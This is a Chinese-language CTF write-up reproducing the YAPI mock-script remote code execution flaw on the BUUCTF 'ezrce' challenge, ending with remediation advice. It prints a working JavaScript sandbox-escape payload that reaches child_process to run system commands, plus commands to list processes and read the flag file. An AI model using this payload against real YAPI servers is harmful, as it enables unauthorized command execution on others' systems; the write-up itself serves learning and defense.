YAPI远程执行漏洞复现

实验靶机

BUUCTF :题目 ezrce

漏洞详情

YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

YAPI使用mock数据/脚本作为中间交互层,其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。

复现

首先打开是一个首页 可以登录注册

YAPI远程执行漏洞复现_请求参数

随便注册一个用户然后登陆

点击添加项目

YAPI远程执行漏洞复现_js脚本_02

点击设置---全局mock脚本 开启 并且添加脚本 然后保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

YAPI远程执行漏洞复现_数据_03

在接口列表----公共分类 添加接口

YAPI远程执行漏洞复现_请求参数_04

YAPI远程执行漏洞复现_当前用户_05

点击Mock地址 访问

YAPI远程执行漏洞复现_测试人员_06

反显出当前用户 app

YAPI远程执行漏洞复现_当前用户_07

whoami && ps -ef  查看所有

YAPI远程执行漏洞复现_请求参数_08

然后再寻找flag

ls /
cat /ffffffflllllaggggg

YAPI远程执行漏洞复现_当前用户_09

得到flag

YAPI远程执行漏洞复现_js脚本_10

YAPI远程执行漏洞复现_js脚本_11

漏洞修复

1.关闭YAPI用户注册功能,阻断攻击者注册;

2.删除恶意已注册用户,避免攻击者再次添加mock脚本;

3.删除恶意mock脚本,防止被再次访问触发;
建议